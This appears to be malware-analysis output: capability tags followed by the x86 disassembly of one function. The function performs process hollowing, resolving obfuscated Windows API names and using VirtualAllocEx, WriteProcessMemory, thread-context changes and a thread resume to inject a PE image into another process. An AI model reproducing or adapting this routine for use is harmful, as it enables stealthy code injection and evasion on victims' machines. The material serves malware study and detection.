Function at 0x4025b0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
mov eax, dword [ebp + 8]
push eax
call fcn.00401ec0
add esp, 4
mov dword [ebp - 0x604], eax
mov ecx, dword [ebp - 0x604]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ee0
add esp, 8
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0x34]
mov dword [ebp - 0x264], ecx
mov edx, dword [ebp - 0x18c]
mov eax, dword [edx + 0x28]
mov dword [ebp - 0x5fc], eax
push 0x49308b4c
push 0x39fcd9bc
push 0x791e6904
push 0x154a4648
push 0x78c6d83a
push 0x84ea87da
push 0x834e969c
push 0x92e0ca32
push 0xf6926300
push 0x9f348792
push 0x84ea87da
push 0x791e6904
push 0x2e96e07c
push 0x566c2e6e
push 0xda64de6a
push 0xb9e912
push 0x49308b4c
push 0xd7d284f4
push 0x154a4648
push 0x8dca6b0a
push 0x15
lea ecx, [ebp - 0x188]
push ecx
call fcn.00401df0
add esp, 0x58
lea edx, [ebp - 0x188]
push edx
mov eax, dword [0x40dcf0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x264]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x19c]
push str.VirtualAllocEx
mov eax, dword [0x40dce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x600], eax
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x600]
push str.WriteProcessMemory
mov edx, dword [0x40dce8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x198], eax
push 0
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x198]
mov dword [ebp - 0x608], 0
jmp 0x40272e
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
mov eax, dword [ebp - 0x18c]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x608], ecx
jge 0x402799
mov edx, dword [ebp - 0x604]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 0xf8]
mov eax, dword [ebp - 0x608]
imul eax, eax, 0x28
add edx, eax
mov dword [ebp - 0x60c], edx
push 0
mov ecx, dword [ebp - 0x60c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x60c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x60c]
mov eax, dword [ebp - 0x264]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x198]
jmp 0x40271f
mov dword [ebp - 0x5f8], 0x10002
push 0x154a4648
push 0xce70f3d6
push 0x84ea87da
push 0x154a4648
push 0x49308b4c
push 0x39fcd9bc
push 0xc376598
push 0xf3563380
push 0xda64de6a
push 0x84ea87da
push 0x129eea10
push 0x3f62843c
push 0xaac68ff0
push 0x154a4648
push 0x84ea87da
push 0x834e969c
push 0x10
lea edx, [ebp - 0xc8]
push edx
call fcn.00401df0
add esp, 0x48
lea eax, [ebp - 0xc8]
push eax
mov ecx, dword [0x40dce8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x194], eax
push 0x154a4648
push 0xce70f3d6
push 0x84ea87da
push 0x154a4648
push 0x49308b4c
push 0x39fcd9bc
push 0xc376598
push 0xf3563380
push 0xda64de6a
push 0x84ea87da
push 0x129eea10
push 0x3f62843c
push 0xaac68ff0
push 0x154a4648
push 0x84ea87da
push 0x1b4081b2
push 0x10
lea edx, [ebp - 0x260]
push edx
call fcn.00401df0
add esp, 0x48
lea eax, [ebp - 0x260]
push eax
mov ecx, dword [0x40dce8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x190], eax
push 0xf3563380
push 0xda64de6a
push 0x84ea87da
push 0x129eea10
push 0x3f62843c
push 0xaac68ff0
push 0x84ea87da
push 0xb9e912
push 0xb69e3886
push 0x417c58d6
push 0x84ea87da
push 0xf786d07c
push 0xc
lea edx, [ebp - 0x328]
push edx
call fcn.00401df0
add esp, 0x38
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [0x40dce8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea edx, [ebp - 0x5f8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [ebp - 0x190]
push 0
push 4
lea ecx, [ebp - 0x264]
push ecx
mov edx, dword [ebp - 0x554]
add edx, 8
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [ebp - 0x198]
mov ecx, dword [ebp - 0x264]
add ecx, dword [ebp - 0x5fc]
mov dword [ebp - 0x548], ecx
lea edx, [ebp - 0x5f8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [ebp - 0x194]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [ebp - 4]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x14